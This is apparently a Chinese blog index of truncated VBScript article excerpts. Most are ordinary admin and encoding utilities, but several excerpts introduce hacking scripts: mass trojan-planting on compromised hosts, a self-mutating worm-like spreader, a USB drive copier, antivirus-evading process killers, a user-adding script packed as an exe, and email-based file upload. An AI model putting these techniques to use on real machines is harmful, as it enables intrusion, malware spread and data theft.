摘要：'**********************************************************************'* Filename: water.vbs *'* Author: Pred yecha@freecity.cn*'* You may freely modify or redistribute this file *'**********************************************************************''注意，使用本脚本时，在脚本相同目录下 阅读全文

摘要：1 VBS VBS脚本病毒的大量流行使我们对VBS的功能有了一个全新的认识，现在大家对它也开始重视起来。VBS代码在本地是通过Windows Script Host(WSH)解释执行的。VBS脚本的执行离不开WSH，WSH是微软提供的一种基于32位Windows平台的、与语言无关的脚本解释机制，它使得脚本能够直接在Windows桌面或命令提示符下运行。利用WSH，用户能够操纵WSH对象、ActiveX对象、注册表和文件系统。在Windows 2000下，还可用WSH来访问Windows NT活动目录服务。 用VBS编写的脚本程序在窗口界面是由wscript.exe文件解释执行的，在字符界面由c 阅读全文

摘要：Microsoft VBScript 编译器错误 错误 '' 缺少语句ActiveServerPages,ASP0126(0x80004005)-->找不到包含文件MicrosoftOLEDBProviderforODBCDrivers(0x80040E21)-->sql语句出错(数据类型不匹配或表名(字段名)错误或表处于编辑状态，或表不存在于conn打开的数据库中)Microsoft... 阅读全文

摘要：本文将说明如何一步一步将纯真ip数据库QQWry.Dat导入到access数据库中，又从access数据库中导入到mssql数据库，并实现ip地址的数字化，方便查询ip。由于导入mssql后的ip数据库还是很大，所以在此就不提供下载了。　　下面为操作步骤1）下载最新的纯真版ip数据库QQ IP数据库 纯真版20090720IP数据记录：370628条下载地址2）下载转换工具QQ IP 纯真数据库a... 阅读全文

摘要：函数名语法功能AbsAbs(number)返回一个数的绝对值SqrSqr(number)返回一个数的平方根SinSin(number)返回角度的正玄值CosCos(number)返回角度的余玄值TanTan(number)返回角度的正切值AtnAtn(number)返回角度的反正切值LogLog(number)返回一个数的自然对数IntInt(number)取整函数，返回一个小于number的第一... 阅读全文

摘要：'* Start Script'***********************Const JOIN_DOMAIN = 1Const ACCT_CREATE = 2Const ACCT_DELETE = 4Const WIN9X_UPGRADE = 16Const DOMAIN_JOIN_IF_JOINED = 32Const JOIN_UNSECURE = 64Const MACHINE_PASS... 阅读全文

摘要：文本文件编码查询工具 下载QueryCode.vbs (756.00 bytes) 只要下载此文件后便可以查询了. 下面是详细代码 'QueryCode.vbs BY: fastslz '支持批量查询，可以放在SendTo扩展应用 set files=WScript.Arguments if files.Count=0 Then MsgBox "请将要查询的文件拖动到这个文件里！ ", vbIn... 阅读全文

摘要：VBS写的GB2312,UTF-8,Unicode,BIG5编码转换工具, 转换工具下载:GB2Ue.vbs (3.34 kb) 演示 echo "ABCDE &!@#$ ^<>() %% abcde 测试！"> "处理前.txt" GB2Ue.vbs "处理前.txt" "处理后.txt" Ue2U8.vbs "处理后.txt" U82GB.vbs "处理后.txt"... 阅读全文

摘要：其实，很简单，只要将这些驱动程序的inf文件所在的文件夹注册到注册表中。 比如： 我们把自己电脑上的驱动程序，通过 驱动精灵 之类的软件从系统中分离出来以后，如果想在下一次安装系统的时候，自动安装这些驱动程序。我们可以把这些分离出来的驱动程序对应的文件夹写入注册表，然后重新启动电脑，电脑会自动搜索硬件并安装驱动程序。这是不是很爽？这里我使用winrar+vbs实现。 比如我们现在有如下几个驱动... 阅读全文

摘要：Set WshShell=WScript.CreateObject("WScript.Shell") WshShell.AppActivate "群 -零 起 点" For i=1 To 10 ' 要发送的次数 WScript.Sleep 500 WshShell.SendKeys "^v" WshShell.SendKeys i WshShell.SendKeys "%s" Next 上面这是... 阅读全文

摘要：好不容易才得到一台肉鸡，在保住肉鸡的同时还不免要扩大自己的成果。挂马其实是一个不错的选择，还有很多比我们菜的菜鸟还不懂打补丁呢（嘻嘻……）!前天下载了个批量挂马程序看了下200多K，想放在肉鸡上测试一下，好不容易才上传到肉鸡上不知怎么，运行的时候弹出个错误窗口肉鸡就挂了(真是悲哀………)！于是就想自己用脚本写个，个子小又有安全感！（Soc... 阅读全文

摘要：'IIS日志清理之IIS日志生成系统(CreateIISLog.vbs) '创建文件夹Function CreateFolder(Folder) On Error Resume Next Set FSO = CreateObject("Scripting.FileSystemObject") FSO.CreateFolder(Folder) If Err>0 Then Err.Clear C... 阅读全文

摘要：' =============== 局域网文件自动备份 VBS 脚本 ================= ' ' 条件:10.97.1.X 开用户xcopy/xcopy 属于adminstrator ' 共享BACKUP 文件所在目录,使xcopy 用户完全控制! ' 运行后在管理进程中有2个进程：wscript.exe,ping.exe ' 以日期为log文件名称，只保留7天的日志 ' ' ... 阅读全文

摘要：Dim udisk, disks, s Set fso = CreateObject("Scripting.FileSystemObject") Set disks = fso.Drives For Each udisk In disks s = udisk.DriveLetter If fso.GetDrive(s & ":").DriveType = 1 Then fso.Copy... 阅读全文

摘要：将以下代码复制到记事本里并保存为rots.vbs on error resume next set utstreem=wscript.stdout set instreem=wscript.stdin if (lcase(right(wscript.fullname,11))="wscript.exe") then set bjShell=wscript.createObject("wscri... 阅读全文

摘要：下午无聊，实现了一下这个，代码有的地方很不好，以下代码是把一个加用户的vbs封装成exe了： Attribute VB_Name = "Module1" Public Declare Function AllocConsole Lib "kernel32.dll" () As Long Public Declare Function FreeConsole Lib "kernel32.dll" ... 阅读全文

摘要：多的不说,会用的各位测试~ fp=wscript.arguments(0) fn=right(fp,len(fp)-instrrev(fp,"")) with createobject("adodb.stream") .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str) end with sll=sl mod 65536:slh=sl65536... 阅读全文

摘要：文章标题之所以称为类蠕虫，是因为攻击代码 即主题代码还没实现 sub yitiaolong() '定义一条龙过程 on error resume next '这里是防止没有发现匹配设备时而报错 dim drivearray '初始化数组变量 dim drive '驱动器句柄变量 dim strarray '初始化字符串数组变量 dim vbcode '用于接收变异的自身代码 dim file di... 阅读全文

摘要：今天下午没课，躲进私人空间开始思考些问题。在浏览VBS相关案例时，自己写了两个小程序出来，有Hack性质的（其实只要能“借刀杀人”，什么软件没黑客性质？- -!）。Kill.vbs用来在cmd下结束进程，Dis.vbs用来在窗口模式下防止某进程再次启动。这两个VBS都不会被杀毒软件KILL掉，并且有一定的隐蔽性……看代码！（'为注释） 　　Kill.... 阅读全文

摘要：大家好啊，又见面啦，会不会想起我啦？我可是很想大家的 写vb脚本也写啦几篇啦，不知道大家有收获没拉 我还是希望大家学到多多的东西啦 这篇带来的是关于cdo.message组建的利用的，目的是为了上传文件啦，嘿嘿ie，看来我说啦很多废话 具体的功能还是看下面代码的分析吧！ sub send_email(myaccount,mypassword,toemail,emailtopic,emailbody... 阅读全文